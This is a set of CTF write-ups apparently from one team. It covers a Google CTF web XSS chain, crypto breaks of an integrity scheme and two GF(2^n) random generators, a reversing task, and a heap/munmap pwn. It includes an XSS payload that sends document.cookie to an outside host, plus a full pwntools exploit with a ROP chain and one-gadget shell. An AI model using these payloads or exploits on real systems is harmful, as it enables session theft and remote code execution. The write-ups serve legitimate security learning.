Last weekend I played on the Google CTF 2018 Quals which was one of the best CTFs I played recently. They separated the easy challenges into a “beginner’s quest” so we got only the medium-hard ones. I think this was a really good choice and made the whole CTF experience more pleasant. Also as with other CTFs, changing to dynamic scoring was also a welcomed change.

I started solving all the web challenges as our web guy was missing on Saturday and nobody else is really into web, and as I am kind of a jack of all trades when comes to CTFs, I looked into the web ones. At the end (I mean at the really end but I will talk about this later) we solved all the web challenges, including BBS which was only solved by 3 teams by the end of the CTF.

alt

Introduction to the challenge

BBS was… well… a BBS (wikipedia article) in a form of really old school website.

alt

The functionality of the website was really simple: you could register (Home > New), you could login (Home > Open), contact the admin (Home > Contact - this menu did not do anything, but more about this later):

alt

After registering and logging in you could post to your board:

alt

You could also modify your profile settings:

alt

For avatar images only PNG files were accepted (the file type mattered, not the extension) but they were resized to 64x64 PNGs (in every case, even if you uploaded a PNG with the exact same size). The resized PNG was saved to https://bbs.web.ctfcompetition.com/avatar/<md5_hash_of_the_resized_png>

Let’s look under the hood!

So after the other web challenges (we solved this after the other 4 web ones) I first checked the headers, especially the Content Security Policy header.

 
Content-Security-Policy: default-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';

This means if we find an XSS then we can inject <script> tags and execute code (that’s the unsafe-inline), but only on the BBS challenge domain (because of the self) and we cannot communicate with other domains (eg. I could not download files from my domain).

The website’s source revealed that most of the logic was in the app.js file.

We could find there that although the Contact menu item did not do anything we still have a report functionality which usually means we are talking about an XSS challenge or at least an XSS vulnerability is expected:

function report(id) {
    $.post('/report', {
        'post': '/admin/' + id
    }).then(() => alert('Reported!'));
}

We did not have to search too much to find some clues what is expected from us to solve the challenge: you could link posts into other posts and when you hovered mouse above the ‘quote’ you could view the other post’s content in an iframe:

alt

In the iframe the /post?p=/ajax/post/4614877532389376 endpoint was called which executed the following logic:

<script>$(document).ready(() => bbs.load_post());</script>
function load_post() {
    var q = qs.parse(location.search, {ignoreQueryPrefix: true});
    var url = q.p;

    $.ajax(url).then((text) => {
        $('#post').html(atob(text));
    });
}

As the url parameter was an input from the query string we could modify the any other URL!

Let’s change it to our website (eg. kt.gy) and serve some nasty payload!

Oh… wait… we cannot because of the CSP…

alt

((Yes, I know I did not update my Chrome in time, but I promise I will, okay???))

As the BBS server HTML-encoded every post’s response (after making them also l33tsp43k), we had to find some other way to inject our content.

There is the avatar upload of course, but we cannot make a PNG-Base64 polyglot as the code called a base64 decode (atob) before injecting into the site as HTML.

But if we look at the code a little bit more we can see that the query string parsing is using a module (qs) which can create objects if we use query string in the format like this:

/post?p[key1]=value1&p[key2][subkey]=value2

This gives us the following object structure as q:

alt

jQuery’s ajax function although can accept an URL as the first parameter, but it can also accept a settings object where we can parameterize various aspects of the request including which URL to download, but we can also modify the request headers with the headers property. And there is this little header called Range where we can tell the server which part of the file we want to download (among others, this makes possible to continue downloading interrupted downloads).

I hope you see where we are going… ;)

That moment when you feel you will solve this challenge soon

Yep, we can actually upload an avatar image and request just the part of it as our payload. :)

First I uploaded a random PNG and wanted to concat my payload character by character by using multiple ranges (which is allowed in the Range header specification), but unfortunately it did not work on the server as I got Internal Server Errors. So I had to upload a PNG file which contained my payload contiguously.

If I could make that I could just call the /post endpoint like below and my payload would have been executed as $('#post').html(atob(text)); would interpret it as HTML and my <script> tag inside the HTML would execute:

https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/223d6cf0f4b320cdd3158927d5934634&p[headers][Range]=bytes=40-200

Now that we have to URL, we just have to send it to admin, right?

function report(id) {
    $.post('/report', {
        'post': '/admin/' + id
    }).then(() => alert('Reported!'));
}

This allows us to only send post IDs, but of course we can call the /report endpoint directly:

$.post('/report', { 'post': '/post?p[url]=/avatar/223d6cf0f4b320cdd3158927d5934634&p[headers][Range]=bytes=40-200' })

Hmmm the server responds to this request with Invalid post response. That’s unfortunate.

On the other hand the /admin endpoint does not look too promising: even reporting a valid post does not seem to be working:

alt

But even if this did work, we could not modify the /post?p= parameter.

Actually the solution is easier than thought, the /report endpoint just checks that the url is in format /admin/<id>, so this URL will bypass the filter:

$.post('/report', { 'post': '/admin/1/../../post?p[url]=/avatar/223d6cf0f4b320cdd3158927d5934634&p[headers][Range]=bytes=40-200' })

Okay, now that we put together everything, we spent only 1.5 hours solving the challenge till now, we just need a PNG image which contains our base64 payload. It should be simple, right?

That moment when you feel you won’t solve this challenge any time soon

Well yeah, it should be kind of simple. As mentioned earlier the uploaded PNG is resized every time and all the metadata (eg. comment sections) are stripped, only image data is used.

The image data is compressed with zlib. But if you use a high entropy input the compression engine will use the input bytes literally, so you can ‘bypass’ the compression part and inject your payload directly.

Or can you?

I’ve spent the next 3.5 hours to create a PNG which contained my base64 payload. After creating approximately ~1369 PNG files, I gave up. ;)

The main problem was that the PNG encoder tries to minimalize the file size by applying filtering to every row before sending into zlib. And even if I chose any input filtering method for my payload, the PNG encoder always changed it to something else.

I went so mad, I even thought it must be some custom PNG encoder created only for this challenges just to make our job harder. As there was only 1 solve on the challenge that time so I thought this could be even a valid theory…

So I tried to experiment with various tricks to bypass this ‘tricky converter’ like generating such input which will contain my payload for every possible filter mode and stuff like that.

After the competition I spoke with the challenge author (phiber) and he told me this was of course not true, in the opposite of that, he used the most generic conversion code that can be used:

$im = imagecreatefrompng($path)
$resized = imagecreatetruecolor(64, 64);
imagecopyresampled($resized, $im, 0, 0, 0, 0, 64, 64, $width, $height);

Of course I did not know this at time of solving the challenge, but…

alt

alt

alt

alt

That moment when you’ve just given up

So it was only 30 minutes left from the Google CTF Quals and it was clear I won’t be able to generate a correct PNG in time, but as a last time effort I looked into the code again…

Also I knew from the latest 3.5 hours of trying that I can inject smaller payload as that won’t be changed, but the smallest base64 payload was not small enough. Maybe a raw JS payload? The smallest one I could create was

$(atob(location.hash.slice(1)))

But how to execute that?

It’s simple! Just ask jQuery to do this for us by passing dataType: "script" to the $.ajax method!

And it worked!

This image:

alt

(you can find the $(atob(location.hash.slice(1))) between offsets 12326 - 12356)

and this URL finally made it possible to execute my XSS:

https://bbs.web.ctfcompetition.com/post?p[url]=/avatar/0939691cf1a771225f6ba39bb9934686&p[headers][Range]=bytes=12326-12356&p[dataType]=script#PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpIC8+

The final step was just to send this URL to the admin:

$.post('/report', { 'post': '/admin/1/../../post?p[url]=/avatar/0939691cf1a771225f6ba39bb9934686&p[headers][Range]=bytes=12326-12356&p[dataType]=script#PGltZyBzcmM9eCBvbmVycm9yPSJsb2NhdGlvbj0nLy9jdWJ5LmRhdGFnbG9iZS5ldS94L0ZMQUcnK2RvY3VtZW50LmNvb2tpZSIgLz4=' })

This was the encoded payload, but probably others were working as well (but the location= type redirection is important as CSP blocks almost every other way):

<img src=x onerror="location='//cuby.dataglobe.eu/x/FLAG'+document.cookie" />

Finally I’ve got the flag:

CTF{yOu_HaVe_Been_b&}

These challenges were solved by and the writeups were written by one of my teammates, @ngg.

Integrity

There was an encryption scheme, we had to calculate encrypt(‘admin’) based on that we could encrypt anything other than the string ‘admin’.

The scheme looked like this:

encrypt(name) = iv + aescbc(key, iv, plaintext = (md5(pkcs7pad(name)) + pkcs7pad(name)))

md5 length is exactly a block size, so

pkcs7pad(md5(pkcs7pad(name)) + name) = md5(pkcs7pad(name)) + pkcs7pad(name)

This means that

encrypt(md5(pkcs7pad('admin')) + 'admin') = iv + aescbc(key, iv, md5(...) + md5(pkcs7pad(name)) + pkcs7pad(name))

If we cut the first block out from this then the rest is exactly encrypt('admin') with the iv set to md5(...).

Sending this to the server gave me

flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}

OneTimePad1 && OneTimePad2

Both tasks were about breaking a random generator. The hardest part was to understand the ideas and math based on the given python codes.

They were based on finite field arithmetics of GF(2)[x]/P(x).

If you do not know what I’m talking about then visit https://en.wikipedia.org/wiki/Finite_field_arithmetic first.

  • For OneTimePad1 P(x) = x**256 + x**10 + x**5 + x**2 + 1, which meant that the field is GF(2**256) because P(x) is irreducible over GF(2).
  • For OneTimePad2 P(x) = x**128 + x**7 + x**2 + x + 1, which is the standard GCM polynomial (the field is GF(2**128)).

  • In OneTimePad1 the process(m, k) function did the math, it calculated (m+k)**2 where m and k are field elements.
  • In OneTimePad2 the two helper functions were process1(m, k) calculated m*k where m and k are field elements and process2(a, b) calculated a*b where a and b are 2x2 matrices over this field.

In both problems the random generated worked like the following pseudo-python code:

def rng():
	next = urandom(32 if OneTimePad1 else 16)
	seed = urandom(32 if OneTimePad1 else 16)
	while True:
		yield next
		next, seed = calculate(next, seed)

OneTimePad1

In OneTimePad1 the calculate function returned (process(next, seed), seed) and the flag and two known strings were one time pad encrypted with its first 3 outputs respectively. Based on the second and third encrypted string we knew the second and third generated random numbers (r2 and r3), we had to calculate the first (r1).

r3 = process(r2, seed) = (r2+seed)**2, this means that seed = sqrt(r3)+r2.

Calculating square roots over binary fields are easy because squaring is a linear function. (This might seem strange, but (x+y)**2 = x**2 + 2*x*y + y**2 = x**2 + y**2 so it’s really linear).

Being linear means that there exists a matrix S such that x**2 = x*S for every x.

Calculating S is straightforward, it happens to be invertible so we can calculate square roots as well (every field element has exactly 1 square root).

We now know seed and we also know that r1 = sqrt(r2)+seed so we can decrypt the flag:

flag{t0_B3_r4ndoM_en0Ugh_1s_nec3s5arY}

OneTimePad2

In OneTimePad2 the calculate function was more complicated.

A and B were two known constants, the function calculated M = [[A,B],[0,1]]**seed and returned M[0][0]*next + M[0][1] and it also changed seed to seed**2.

We can see by induction that [[A,B],[0,1]]**seed = [[A**seed, B*(1+A+A**2+...+A**(seed-1))],[0,1]] = [[A**seed, B*(A**seed - 1)/(A - 1)],[0,1]].

One time pad was used here as well but know we knew the first 4 plaintexts and we had to calculate the following ones. r2 = A**seed * r1 + B*(A**seed - 1)/(A-1)

To get seed from this we first calculated A**seed as ((A-1)*r2 + B)/((A-1)*r1 + B) and then had to calculate the discrete logarithm seed = Log(A, A**seed).

This last part was the hardest for me as I couldn’t get Sage to solve it (I tried in lots of different ways but it always threw NotImplementedExceptions…).

After the competition I’ve read hellman’s writeup, he found a way to do this in Sage.

I knew that Mathematica cannot do this either, so I had no better idea than to look for any implementation on the web and read articles on how solve this if I have to implement my own.

Fortunately I found some promising references in Magma’s documentation and I could solve this with the free online version at http://magma.maths.usyd.edu.au/calc/ with the following script:

K<x> := GF(2,128); # this automatically uses the standard GCM polynomial for modulus
A := x^127 + x^126 + x^122 + x^121 + x^119 + x^117 + x^114 + x^112 + x^110 + x^109 + x^108 + x^106 + x^105 + x^104 + x^102 + x^101 + x^100 + x^99 + x^98 + x^97 + x^96 + x^94 + x^91 + x^90 + x^88 + x^87 + x^86 + x^82 + x^81 + x^77 + x^76 + x^75 + x^72 + x^71 + x^70 + x^68 + x^66 + x^65 + x^64 + x^63 + x^62 + x^60 + x^56 + x^55 + x^53 + x^50 + x^48 + x^43 + x^42 + x^40 + x^38 + x^37 + x^34 + x^32 + x^29 + x^24 + x^23 + x^22 + x^21 + x^18 + x^17 + x^16 + x^15 + x^12 + x^11 + x^9 + x^8 + x^7 + x^6 + x^5 + x^4 + x^3 + x^2 + 1;
An := x^123 + x^117 + x^116 + x^114 + x^113 + x^112 + x^110 + x^109 + x^108 + x^107 + x^104 + x^99 + x^98 + x^97 + x^95 + x^93 + x^91 + x^89 + x^87 + x^84 + x^83 + x^82 + x^81 + x^80 + x^78 + x^74 + x^69 + x^68 + x^66 + x^62 + x^57 + x^53 + x^52 + x^51 + x^45 + x^43 + x^42 + x^41 + x^38 + x^37 + x^35 + x^33 + x^32 + x^31 + x^30 + x^29 + x^28 + x^25 + x^22 + x^19 + x^18 + x^17 + x^15 + x^14 + x^13 + x^12 + x^10 + x^8 + x^5 + x^2 + 1;
Log(A, An);

After this we knew r1 and seed, so I just modified the original code to use these and to encrypt the ciphertext instead (one time pad is an involution).

This gave me

flag{LCG1sN3ver5aFe!!}

This challenge was solved by one of my teammates, vek and me, and the writeup was written by vek.

The Choices binary was bascially a giant switch case in a loop and the executed cases were determined by the user’s input at each iteration.

Based on the user inputs, the binary generated a 56-byte flag from an array of constants that’s the same size. What we needed to figure out is the order in which the switch cases needed to be executed. The flag was compared to the correct flag’s hash at the end, so we would know when we’re right.

The binary was compiled with the clang plugin lib0opspass.so. After reversing the library, we found that it took the original program’s basic blocks and turned them into individual cases of the giant switch statement. The user input for a corresponding switch case was generated by a scramble32 function from the BBs’ ID.

scramble32 used a key generated from a constant seed BAADF00DCAFEBABE3043544620170318 to scramble the BB IDs, but it didn’t change the scrambler’s internal state, so a given (key, ID) pair always gives the same scrambled output. This means that we only had to extract the key and use it to call scramble32() on the first few integers to get the correct input for each BB.

The key could be extracted by running the supplied compilation command on a dummy source in gdb and breaking right before a call to scramble32(). After this, we could extract the scrambling code and write a C program that generated the scrambled version of the numbers from 0 to 1000. It seemed that the number for 0, 1, 2, etc. all matched a possible user input in the binary, so we found the IDs of all the original basic blocks! We still didn’t know the original control flow graph from this, but we assumed that each BB followed one with one smaller ID, so we ran:

cat numbers.txt | ./Choices

And it gave us the flag, so it turned out we were right!

flag{wHy_d1D_you_Gen3R47e_cas3_c0nst_v4lUE_in_7h15_way?}

After reversing the binary it turned out the structure of the challenge is the usual menu system based pwn challenge.

We had the following menus:

  • “1 :) Fill your information”
    • It reads your team name to a 20 byte buffer and prints it out. It can be used to leak data from stack if you don’t fill the 20 byte buffer. For example it can be used to leak the heap base address. But we never used this vulnerability in the final exploit.
  • “2 :) Upload and parse File”
    • This is where the main functionality lies: you can upload a zlib-compressed PNG image, it will parse its headers, allocate a width*height-sized buffer with mmap, and copies the content into it (but limits the size to the buffer length, so it does not cause overflow). It also puts various metadata into a linked list about these uploaded files, including the decompressed content’s size.
  • “3 :) Show File info”
    • Prints out the width, height and “pixels” (bit depth) properties of the chosen file. Not used in the exploit.
  • “4 :) Delete File”
    • Deletes a selected file. Munmaps its content (based on the decompressed content’s length), frees it’s metadata and unlinks the item from the linked list. We will use the munmap in the exploit.
  • “5 :) Commit task”
    • Creates a thread which prints out every file’s width, height, bit depth. You can only call this method six times. Not used in the exploit, probably just a red herring :)
  • “6 :) Monitor File”
    • Create a thread which notifies you if a new file was uploaded. It uses a conditional variable (and mutex) to block until the main thread notifies it.
  • 8 - a hidden “backdoor”
    • It’s a gets-based stack overflow, but exits immediately after it overwrites the stack. Although the deinitialization logic runs in the exit call, the stack overflow is still not exploitable this way. It’s obviously there just for misleading us.

There are a few misleading / non-exploitable functionality (including the whole PNG parsing), but there is something fishy going on with the content length calculation when it allocates the buffer based on the width and height instead of the decompressed content length.

Also despite that the PNG is a compressed file format, there is an additional layer of compression which is a hint about that we may have to send a lot of data. As we will see later, our hunch was not unfounded.

If we take a closer look at the buffer allocation, it turns out fast that the allocation size and the length used for munmap can differ.

This is exactly the same situation that my teammate tukan described in one of his ptmalloc fanzine back in 2016, so he could point us into the correct direction right away.

Although the next mapped memory segment after our mmap’d allocation is either the read-only data section of the libc or the guard page before the stack of a thread created by either the 5th or 6th menu item, the munmap can remove them if we use a bigger length than the original allocation was.

So our plan is the following:

  • create a long-running thread (with 6th menu item), which will mmap a thread stack (the size is architecture dependent, but was 8MB on x64).
  • the thread waits for the condition variable until we upload a new file
  • upload a file whose decompressed length is bigger than the allocation size, so munmap will remove the following mmap’d segment too
    • I used the following values: width = 1024, height = 1024, width * height = 1MB, decompressed length = 9MB (1MB my content + 8MB overflow into the thread’s stack)
  • delete this file with the 4th menu item
    • although the thread’s stack is unmapped, the thread won’t wake up, so this won’t cause any problem (segmentation fault for example)
  • upload a new, fake thread stack (8MB), and putting a ROP chain in the place of the original stack where the execution returns
    • we also have to restore a few variables (like mutex and cond) so the waking up thread won’t crash immediately or behave incorrectly
  • the ROP chain does the following:
    • leaks libc address (puts in our case)
    • unlocks the mutex, so the main thread won’t block anymore
    • make the thread sleep forever, so its broken state won’t cause any problems for us (for example race condition)
  • we calculate the address of one of the one-gadget-RCEs (thanks to david942j for his tool)
    • calling system did not work for me, probably something broke meanwhile
  • we repeat everything from the beginning, but this time we call the one-gadget-RCE in the ROP chain

Executing our plan actually worked and give us a shell.

We found the flag in the /home/uploadcenter/flag file:

flag{M3ybe_Th1s_1s_d1ffer3nt_UAF_Y0U_F1rst_S33n}

Below the whole exploit:

#!/usr/bin/env python2
from pwn import *
import time
import zlib

REMOTE = True

def readMenu():
    print '\n'.join([' < '+x for x in p.recvuntil('1 :) Fill your information', drop=True).strip().split('\n')])
    p.recvuntil('6 :) Monitor File\n')

skipReadMenu = False
    
def cmd(cmdIdx):
    global skipReadMenu
    if skipReadMenu:
        skipReadMenu = False
    else:
        readMenu()
    print '> cmd: %d' % cmdIdx
    p.sendline(str(cmdIdx))
    
def fillInfo(teamName, memberCount):
    cmd(1)
    p.sendlineafter('Your team name : ', teamName)
    p.sendlineafter('Member count : ', str(memberCount))
    
def upload(data):
    cmd(2)
    p.send(p32(len(data)))
    p.send(data)
    
def showFileInfo(fileId):
    cmd(3)
    p.sendlineafter('which file you want to show ?', str(fileId))

def delete(fileId):
    cmd(4)
    p.sendlineafter('which file you want to delete ?', str(fileId))
    
def commitTask():
    cmd(5)
    
def monitorFile():
    cmd(6)

def genPngEx(width, height, colorType, bitDepth, chunks):
    # must be zero, otherwise won't parse png
    comprMethod = 0
    filterMethod = 0
    interlaceMethod = 0

    ihdrLen = 13 # not checked
    with context.local(endian='big'):
        res = '\x89PNG\r\n\x1A\n' + p32(ihdrLen) + 'IHDR' + p32(width) + p32(height) +\
            chr(bitDepth) + chr(colorType) + chr(comprMethod) + chr(filterMethod) + chr(interlaceMethod) + 'A'*4 # crc
        
        for chunk in chunks:
            res += p32(chunk['size']) + 'IDAT' + chunk['data'] + 'A'*4 # crc
            
        res += p32(0) + 'IEND' + 'A'*4 # crc
    
    return res
    
def genPng(width, height, chunks):
    return genPngEx(width, height, 2, 8, [{'size': len(x), 'data': x} for x in chunks])

if REMOTE:
    p = remote("202.120.7.216", 12345)
else:
    p = process('./uploadcenter')
    time.sleep(1)

mutex = 0x60E160
cond = 0x60E1A0
popRdiRet = 0x4038B1
puts = 0x400AF0
gotPuts = 0x60E028
sleep = 0x400C30
mutexUnlock = 0x400BB0

def rop(ropchain, stage2):
    global skipReadMenu
    
    monitorFile()
    p.recvuntil('I will remind you')
    skipReadMenu = True

    delSize = 9*1024*1024# - 8*4096
    print 'delete size = %d' % delSize
    png = genPng(1024, 1024, ['A'*(delSize)])
    print 'payload length = %d' % len(png)
    upload(zlib.compress(png))

    p.recvuntil('New file uploaded, Please check')
    skipReadMenu = True

    delete(1 if stage2 else 0)
    split = 4393

    readMenu()
    skipReadMenu = True

    payload = 'C'*8 + p64(cond) + p64(mutex) + 'F'*8 + 'G'*8 + ropchain + '\0'*(split-8*5-len(ropchain))
    upload(zlib.compress(genPng(8*1024, 1024, ['A'*(8*1024*1024-split) + payload])))

ropchain = \
    p64(popRdiRet) + p64(gotPuts) + p64(puts) +\
    p64(popRdiRet) + p64(mutex) + p64(mutexUnlock) +\
    p64(popRdiRet) + p64(60) + p64(sleep)

rop(ropchain, False)
    
p.recvuntil('byte data\n')
gotLeak = p.recvline()
print 'gotLeak = %r' % gotLeak
if gotLeak.startswith('1 :) Fill your'):
    p.recvuntil('6 :) Monitor File\n')
    gotLeak = p.recvline()

print 'gotLeak = %r' % gotLeak
putsLibc = u64(gotLeak.strip().ljust(8, '\0'))
print 'putsLibc = %016x' % putsLibc

if REMOTE:
    p.sendline('')
    libcBase = putsLibc - 0x7ffff787f990 + 0x7ffff7814000
    oneGadget = libcBase + 0x41374
else:
    system = putsLibc - 0x7ffff7860690 + 0x7ffff7836390 # local ubuntu
    libcBase = putsLibc - 0x7ffff7860690 + 0x7ffff77f1000 # local ubuntu
    oneGadget = libcBase + 0x4526a # local ubuntu

rop(p64(oneGadget), True)

p.interactive()

I opened the webpage from the challenge description: https://52.196.116.69/index.php which resulted in Chrome showing SSL cert error: NET::ERR_CERT_AUTHORITY_INVALID.

I checked the CN of the SSL cert which was: very-secret-area-for-ctf.orange.tw so I created the following entry in my host file:

52.196.116.69 very-secret-area-for-ctf.orange.tw

Then I opened the https://very-secret-area-for-ctf.orange.tw/ URL, which gave me the flag:

hitcon{hihihi, how 4re y0u today?}